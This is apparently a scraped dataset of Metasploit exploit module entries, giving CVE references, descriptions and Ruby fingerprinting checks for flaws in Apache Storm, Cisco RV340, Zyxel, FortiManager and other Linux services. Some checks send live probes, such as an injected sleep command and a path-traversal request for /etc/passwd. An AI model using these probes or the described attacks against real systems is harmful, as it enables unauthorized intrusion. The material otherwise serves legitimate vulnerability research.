deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution
Type: exploit
Path: modules/exploits/linux/misc/nimbus_gettopologyhistory_cmd_exec.rb
Platform: unix
Disclosure date: 2021-10-25
References: CVE-2021-38294, URL-https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/
Targets: Unix Command, Linux Dropper

Description:
This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm.
          The getTopologyHistory RPC method method takes a single argument which is the name of a user which is
          concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there
          must have been at least one topology submitted to the server. The topology may be active or inactive, but at
          least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm.

          This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
          which is affected.

Check method (fingerprinting):
begin
      connect
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Failed to connect to the service.')
    end

    sleep_time = rand(5..10)
    response, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}", timeout: sleep_time + 3)
    end

    vprint_status("Elapsed time: #{elapsed_time} seconds")
    unless response && elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Appears('Successfully tested command injection.')
  end
Metasploit Module: MongoDB nativeHelper.apply Remote Code Execution
Type: exploit
Path: modules/exploits/linux/misc/mongod_native_helper.rb
Platform: linux
Disclosure date: 2013-03-24
References: CVE-2013-1892, OSVDB-91632, BID-58695, URL-http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/
Targets: Linux - mongod 2.2.3 - 32bits

Description:
This module exploits the nativeHelper feature from spiderMonkey which allows
          remote code execution by calling it with specially crafted arguments. This module
          has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
Metasploit Module: Borland InterBase PWD_db_aliased() Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/ib_pwd_db_aliased.rb
Platform: linux
Disclosure date: 2007-10-03
References: CVE-2007-5243, OSVDB-38607, BID-25917, URL-http://www.risesecurity.org/advisories/RISE-2007002.txt

Description:
This module exploits a stack buffer overflow in Borland InterBase
          by sending a specially crafted attach request.
Metasploit Module: AnyDesk GUI Format String Write
Type: exploit
Path: modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
Platform: linux
Disclosure date: 2020-06-16
References: CVE-2020-13160, URL-https://devel0pment.de/?p=1881

Description:
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
          crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
          discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
          successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.

Check method (fingerprinting):
info = discover
    return CheckCode::Safe if info.nil?

    CheckCode::Detected("Remote hostname: #{info[:hostname]}")
  end
Metasploit Module: Quest Privilege Manager pmmasterd Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/quest_pmmasterd_bof.rb
Platform: unix
Disclosure date: 2017-04-09
References: CVE-2017-6553, URL-https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/

Description:
This modules exploits a buffer overflow in the Quest Privilege Manager,
          a software used to integrate Active Directory with Linux and Unix
          systems. The vulnerability exists in the pmmasterd daemon, and can only
          triggered when the host has been configured as a policy server (
          Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
          condition exists when handling requests of type ACT_ALERT_EVENT, where
          the size of a memcpy can be controlled by the attacker. This module
          only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
          vulnerable, but not supported by this module (a stack cookie bypass is
          required). NOTE: To use this module it is required to be able to bind a
          privileged port ( <=1024 ) as the server refuses connections coming
          from unprivileged ports, which in most situations means that root
          privileges are required.

Check method (fingerprinting):
unless respond_to?(target[:check], true)
      fail_with(Failure::NoTarget, "Invalid target specified")
    end

    send(target[:check])
  end
Metasploit Module: Borland InterBase jrd8_create_database() Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/ib_jrd8_create_database.rb
Platform: linux
Disclosure date: 2007-10-03
References: CVE-2007-5243, OSVDB-38606, BID-25917, URL-http://www.risesecurity.org/advisories/RISE-2007002.txt

Description:
This module exploits a stack buffer overflow in Borland InterBase
          by sending a specially crafted create request.
Metasploit Module: Borland InterBase open_marker_file() Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/ib_open_marker_file.rb
Platform: linux
Disclosure date: 2007-10-03
References: CVE-2007-5244, OSVDB-38610, BID-25917, URL-http://www.risesecurity.org/advisories/RISE-2007002.txt

Description:
This module exploits a stack buffer overflow in Borland InterBase
          by sending a specially crafted attach request.
Metasploit Module: Cisco RV340 SSL VPN Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/misc/cisco_rv340_sslvpn.rb
Platform: linux
Disclosure date: 2022-02-02
References: CVE-2022-20699, URL-https://www.youtube.com/watch?v=O1uK_b1Tmts, URL-https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md, URL-https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md, URL-https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html

Description:
This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
          functionality. The default SSL VPN configuration is exploitable, with no authentication
          required and works over the Internet!
          The stack is executable and no ASLR is in place, which makes exploitation easier.
          Successful execution of this module results in a reverse root shell. A custom payload is
          used as Metasploit does not have ARMLE null free shellcode.
          This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
          2022. For more information check the referenced advisory.
          This module has been tested in firmware versions 1.0.03.15 and above and works with around
          65% reliability. The service restarts automatically so you can keep trying until you pwn it.
          Only the RV340 router was tested, but other RV series routers should work out of the box.

Check method (fingerprinting):
# This should return a string like:
    # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
    res = send_request_cgi({ 'uri' => '/login.html' })
    if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server')
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Unknown
    end
  end
Metasploit Module: Hikvision DVR RTSP Request Remote Code Execution
Type: exploit
Path: modules/exploits/linux/misc/hikvision_rtsp_bof.rb
Platform: linux
Disclosure date: 2014-11-19
References: CVE-2014-4880, URL-https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices-multiple-vulnerabilities

Description:
This module exploits a buffer overflow in the RTSP request parsing
          code of Hikvision DVR appliances. The Hikvision DVR devices record
          video feeds of surveillance cameras and offer remote administration
          and playback of recorded footage.

          The vulnerability is present in several models / firmware versions
          but due to the available test device this module only supports
          the DS-7204 model.
Metasploit Module: LPRng use_syslog Remote Format String Vulnerability
Type: exploit
Path: modules/exploits/linux/misc/lprng_format_string.rb
Platform: linux
Disclosure date: 2000-09-25
References: CVE-2000-0917, OSVDB-421, BID-1712, US-CERT-VU-382365, URL-http://www.cert.org/advisories/CA-2000-22.html, URL-https://bugzilla.redhat.com/show_bug.cgi?id=17756, EDB-226, EDB-227, EDB-230

Description:
This module exploits a format string vulnerability in the LPRng print server.
          This vulnerability was discovered by Chris Evans. There was a publicly
          circulating worm targeting this vulnerability, which prompted RedHat to pull
          their 7.0 release. They consequently re-released it as "7.0-respin".
Metasploit Module: ASUS infosvr Auth Bypass Command Execution
Type: exploit
Path: modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb
Platform: unix
Disclosure date: 2015-01-04
References: CVE-2014-9583, EDB-35688, URL-https://github.com/jduck/asus-cmd

Description:
This module exploits an authentication bypass vulnerability in the
          infosvr service running on UDP port 9999 on various ASUS routers to
          execute arbitrary commands as root.

          This module launches the BusyBox Telnet daemon on the port specified
          in the TelnetPort option to gain an interactive remote shell.

          This module was tested successfully on an ASUS RT-N12E with firmware
          version 2.0.0.35.

          Numerous ASUS models are reportedly affected, but untested.
Metasploit Module: SerComm Device Remote Code Execution
Type: exploit
Path: modules/exploits/linux/misc/sercomm_exec.rb
Platform: linux
Disclosure date: 2013-12-31
References: CVE-2014-0659, OSVDB-101653, URL-https://github.com/elvanderb/TCP-32764
Targets: Generic Linux MIPS Big Endian, Generic Linux MIPS Little Endian, Manual Linux MIPS Big Endian, Manual Linux MIPS Little Endian, Cisco WAP4410N, Honeywell WAP-PL2 IP Camera, Netgear DG834, Netgear DG834G, Netgear DG834PN, Netgear DGN1000

Description:
This module will cause remote code execution on several SerComm devices.
          These devices typically include routers from NetGear and Linksys.
          This module was tested successfully against several NetGear, Honeywell
          and Cisco devices.

Check method (fingerprinting):
fprint = endian_fingerprint

    case fprint
    when 'BE'
      vprint_status("Detected Big Endian")
      return Msf::Exploit::CheckCode::Appears
    when 'LE'
      vprint_status("Detected Little Endian")
      return Msf::Exploit::CheckCode::Appears
    end

    return Msf::Exploit::CheckCode::Safe
  end
Metasploit Module: Accellion FTA MPIPE2 Command Execution
Type: exploit
Path: modules/exploits/linux/misc/accellion_fta_mpipe2.rb
Platform: unix
Disclosure date: 2011-02-07
References: OSVDB-71362, OSVDB-71363, URL-http://www.rapid7.com/security-center/advisories/R7-0039.jsp

Description:
This module exploits a chain of vulnerabilities in the Accellion
          File Transfer appliance. This appliance exposes a UDP service on
          port 8812 that acts as a gateway to the internal communication bus.
          This service uses Blowfish encryption for authentication, but the
          appliance ships with two easy to guess default authentication keys.
          This module abuses the known default encryption keys to inject a
          message into the communication bus. In order to execute arbitrary
          commands on the remote appliance, a message is injected into the bus
          destined for the 'matchrep' service. This service exposes a function
          named 'insert_plugin_meta_info' which is vulnerable to an input
          validation flaw in a call to system(). This provides access to the
          'soggycat' user account, which has sudo privileges to run the
          primary admin tool as root. These two flaws are fixed in update
          version FTA_8_0_562.
Metasploit Module: Zyxel Unauthenticated LAN Remote Code Execution
Type: exploit
Path: modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb
Platform: linux
Disclosure date: 2022-02-01
References: CVE-2023-28769, URL-https://r.sec-consult.com/zyxsploit

Description:
This module exploits a buffer overflow in the zhttpd binary (/bin/zhttpd). It is present on more than 40 Zyxel routers and CPE devices.
          The code execution vulnerability can only be exploited by an attacker if the zhttp webserver is reachable.
          No authentication is required. After exploitation, an attacker will be able to execute any command
          as root, including downloading and executing a binary from another host.

Check method (fingerprinting):
res = send_request_raw({
      'uri' => '/Export_Log?/etc/passwd',
      'method' => 'GET',
      'rport' => datastore['RPORT']
    })

    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Vulnerable if res.to_s['root:x:0:0:']

    return CheckCode::Safe
  end

  # Handle incoming requests from the router
Metasploit Module: HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/hp_vsa_login_bof.rb
Platform: linux
Disclosure date: 2013-06-28
References: CVE-2013-2343, OSVDB-94701, ZDI-13-179, URL-http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c03661318

Description:
This module exploits a buffer overflow vulnerability found in HP's StorageWorks
          P4000 VSA on versions prior to 10.0. The vulnerability is due to an insecure usage
          of the sscanf() function when parsing login requests. This module has been tested
          successfully on the HP VSA 9 Virtual Appliance.

Check method (fingerprinting):
connect
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
    vprint_status("#{rhost}:#{rport} Sending login packet to check...")
    sock.put(packet)
    res = sock.get_once
    disconnect

    if res and res =~ /OK/ and res =~ /Login/
      return Exploit::CheckCode::Appears
    elsif res and res =~ /FAILED/ and res =~ /version/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end
Metasploit Module: Fortinet FortiManager Unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb
Platform: %w[unix linux
Disclosure date: 2024-10-23
References: CVE-2024-47575, URL-https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis, URL-https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575, URL-https://fortiguard.fortinet.com/psirt/FG-IR-24-423

Description:
This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager
          Cloud devices to achieve unauthenticated RCE with root privileges.

          The vulnerable FortiManager versions are:
          * 7.6.0
          * 7.4.0 through 7.4.4
          * 7.2.0 through 7.2.7
          * 7.0.0 through 7.0.12
          * 6.4.0 through 6.4.14
          * 6.2.0 through 6.2.12

          The vulnerable FortiManager Cloud versions are:
          * 7.4.1 through 7.4.4
          * 7.2.1 through 7.2.7
          * 7.0.1 through 7.0.12
          * 6.4 (all versions).

Check method (fingerprinting):
fgfm_sock = make_socket

    peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)

    fgfm_sock.close

    organization = get_cert_subject_item(peer_cert, 'O')

    common_name = get_cert_subject_item(peer_cert, 'CN')

    # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.
    # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial
    # number identifier.
    return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG')

    CheckCode::Unknown
  end
Metasploit Module: Jenkins CLI HTTP Java Deserialization Vulnerability
Type: exploit
Path: modules/exploits/linux/misc/jenkins_ldap_deserialize.rb
Platform: linux
Disclosure date: 2016-11-16
References: CVE-2016-9299, URL-https://github.com/jenkinsci-cert/SECURITY-218, URL-https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16, URL-http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition, URL-https://github.com/frohoff/ysoserial

Description:
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
          the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not
          required to exploit this vulnerability.

Check method (fingerprinting):
result = Exploit::CheckCode::Safe

    begin
      if vulnerable?
        result = Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    result
  end
Metasploit Module: Asterisk AMI Originate Authenticated RCE
Type: exploit
Path: modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb
Platform: unix
Disclosure date: 2024-08-08
References: CVE-2024-42365
Targets: Unix Command

Description:
On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk
          versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change
          all configuration files in the '/etc/asterisk/' directory. Writing a new extension
          can be created which performs a system command to achieve RCE as the asterisk service
          user (typically asterisk).
          Default parking lot in FreePBX is called "Default lot" on the website interface,
          however its actually 'parkedcalls'.
          Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.

Check method (fingerprinting):
# why don't we check the version numbers?
    # we're connecting to Asterisk Call Manager, which seems to be a sub component
    # of asterisk and therefore the version numbers don't line up. For instance
    # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)
    # uses Asterisk Call Manager version 8.0.2.
    return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn?

    version = get_asterisk_version
    disconnect

    return CheckCode::Detected('Able to connect, unable to determine version') if !version
    if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) ||
       version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) ||
       version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) ||
       version.to_s.include?('cert') &&
       (
         version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) ||
         version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2'))
       )
      return Exploit::CheckCode::Appears("Exploitable version #{version} found")
    end

    return Exploit::CheckCode::Safe("Unexploitable version #{version} found")
  end
Metasploit Module: Borland InterBase INET_connect() Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/ib_inet_connect.rb
Platform: linux
Disclosure date: 2007-10-03
References: CVE-2007-5243, OSVDB-38605, BID-25917, URL-http://www.risesecurity.org/advisories/RISE-2007002.txt

Description:
This module exploits a stack buffer overflow in Borland InterBase
          by sending a specially crafted service attach request.
Metasploit Module: SaltStack Salt Master/Minion Unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
Platform: python
Disclosure date: 2020-04-30
References: CVE-2020-11651, CVE-2020-11652, URL-https://labs.f-secure.com/advisories/saltstack-authorization-bypass, URL-https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/, URL-https://www.vmware.com/security/advisories/VMSA-2020-0009.html, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG, URL-https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py
Targets: Master (Python payload), Master (Unix command), Minions (Python payload), Minions (Unix command)

Description:
This module exploits unauthenticated access to the runner() and
          _send_pub() methods in the SaltStack Salt master's ZeroMQ request
          server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
          execute code as root on either the master or on select minions.

          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
          1.3, 1.5, and 1.6 in certain configurations, are known to be affected
          by the Salt vulnerabilities.

          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
          well as Vulhub's Docker image.
Metasploit Module: HPLIP hpssd.py From Address Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/misc/hplip_hpssd_exec.rb
Platform: unix
Disclosure date: 2007-10-04
References: CVE-2007-5208, OSVDB-41693, BID-26054, URL-https://bugzilla.redhat.com/show_bug.cgi?id=319921, URL-https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit

Description:
This module exploits a command execution vulnerable in the hpssd.py
          daemon of the Hewlett-Packard Linux Imaging and Printing Project.
          According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.

          This module was written and tested using the Fedora 6 Linux distribution.
          On the test system, the daemon listens on localhost only and runs with
          root privileges. Although the configuration shows the daemon is to
          listen on port 2207, it actually listens on a dynamic port.

          NOTE: If the target system does not have a 'sendmail' command installed,
          this vulnerability cannot be exploited.
Metasploit Module: HP Network Node Manager I PMD Buffer Overflow
Type: exploit
Path: modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
Platform: unix
Disclosure date: 2014-09-09
References: CVE-2014-2624, ZDI-14-305

Description:
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
          vulnerability exists in the pmd service, due to the insecure usage of functions like
          strcpy and strcat while handling stack_option packets with user controlled data. In
          order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
          the stack and finally build the ROP chain to avoid NX.

Check method (fingerprinting):
header = [
      0x2a5,  # pmdmgr_init pkt
      0x3cc,  # signature
      0xa0c,  # signature
      0xca8   # signature
    ].pack("V")

    data = "\x00" * (0xfa4 - header.length)

    pkt = header + data

    connect_udp
    udp_sock.put(pkt)
    res = udp_sock.timed_read(8, 1)
    if res.blank?
      # To mitigate MacOSX udp sockets behavior
      udp_sock.put(pkt)
      res = udp_sock.timed_read(8)
    end
    disconnect_udp

    if res.blank?
      return Exploit::CheckCode::Unknown
    elsif res.length == 8 && res.unpack("V").first == 0x2a5
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end